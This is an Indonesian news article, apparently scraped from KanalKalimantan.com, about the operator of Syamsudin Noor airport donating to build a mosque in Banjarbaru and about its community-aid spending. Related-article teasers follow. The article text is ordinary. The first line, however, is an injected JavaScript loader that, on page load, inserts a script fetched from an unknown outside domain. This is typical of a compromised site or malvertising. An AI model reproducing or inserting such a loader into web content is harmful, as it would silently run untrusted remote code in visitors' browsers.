(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sebagai bentuk tanggung jawab sosial perusahaan dan penyelesaian terhadap langgar yang terkena dampak pembangunan bandara baru, PT Angkasa Pura I (Persero) Bandara Syamsudin Noor ikut menyumbang pembangunan masjid di Tegal Arum, Landasan Ulin, Banjarbaru.
Pembangunan masjid di atas tanah seluas 2.214,5 m2 yang terdiri  dari 1914,5 m2 tanah hibah dari Suratto Siswodihardjo dan tanah seluas 300 m2 sebagai pengganti atas tanah wakaf yang dibeli PT Angkasa Pura I (Persero). Tidak berhenti sampai di situ, Suratto juga menyumbang dana hasil penjualan tanahnya ke PT Angkasa Pura I (Persero) untuk digunakan dalam pembangunan mesjid Istiqomah sebesar Rp 75 juta.
General Manager (GM) Bandara Syamsudin Noor menjelaskan, pihaknya sangat berterima kepada Suratto yang sebelumnya menjabat sebagai Komisaris Utama PT Angkasa Pura. “Tentunya kami sangat berterima kasih kepada Bapak Suratto yang tak lain adalah mantan Komisaris Utama PT Angkasa Pura I. Untuk pembangunan ini kami Bandara Syamsudin Noor juga menyumbangkan uang tunai sebesar Rp 50 juta yang diserahkan kepada panitia pembangunan masjid Istiqomah†jelasnya.
Pembangunan mesjid Istiqomah dimulai dengan seremoni peletakan batu pertama oleh Walikota Banjarbaru Nadjmi Adhani, Surrato Siswo Diharjo, serta Sekdako Banjarbaru Said Abdullah pada tanggal 10 Mei 2018. Dalam acara tersebut Walikota menyerahkan Izin Mendirikan Bangunan (IMB) pembangunan Masjdi Istiqomah. Sementara Kementerian Agama Kota Banjarbaru menyerahkan rekomendasi pembangunan masjid.
Selain bantuan untuk mendukung pembangunan masjid Istiqomah, hingga April 2018 Bandara Syamsudin Noor juga telah menyalurkan Rp 122,5 juta yang diperuntukan untuk renovasi tujuh masjid dan mushola, termasuk Masjid Nururrasuli Polres Banjarbaru yang merupakan salah satu program bina lingkungan dari sektor sarana ibadah.
Total realisasi program bina lingkungan yang terdiri dari sektor kesehatan, sektor sarana ibadah, pendidikan sebesar 209,5 juta rupiah. Sedangkan untuk realisasi program kemitraan sampai dengan 20 April 2018 sudah mencapai 530 juta rupiah yang terbagi ke dalam beberapa sektor diantaranya sektor industri, sektor perdagangan, peternakan, jasa, dan lainnya sebanyak 12 mitra binaan.
“Harapan kami, semoga Bandara Syamsudin Noor dapat selalu hadir untuk negeri, memajukan lingkungan,†kata Wahyudi. (Rico)
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
This website uses cookies.